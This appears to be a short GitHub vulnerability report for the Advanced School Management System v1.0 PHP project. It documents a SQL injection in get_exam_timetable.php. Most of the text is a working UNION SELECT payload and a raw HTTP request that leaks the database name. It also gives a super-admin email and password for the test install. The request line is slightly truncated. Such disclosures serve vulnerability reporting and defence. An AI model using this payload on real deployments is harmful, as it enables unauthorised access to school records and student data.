debug601 Update SQLi-9.md History

1 contributor

28 lines (19 sloc) | 1.09 KB

Advanced School Management System v1.0 by itsourcecode.com has SQL injection

Login account: suarez081119@gmail.com/12345 (Super Admin account)

vendors: https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/

Vulnerability File: /school/model/get_exam_timetable.php?id=

Vulnerability location: /school/model/get_exam_timetable.php?id=,id

[+] Payload: /school/model/get_exam_timetable.php?id=-1%20union%20select%201,database(),3,4,5,6--+ // Leak place ---> id

Current database name: std_db,length is 6

```
GET /school/model/get_exam_timetable.php?id=-1%20union%20select%201,database(),3,4,5
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

```
Cookie: PHPSESSID=kh42r202aj35u61brcutn42s96
Connection: close
```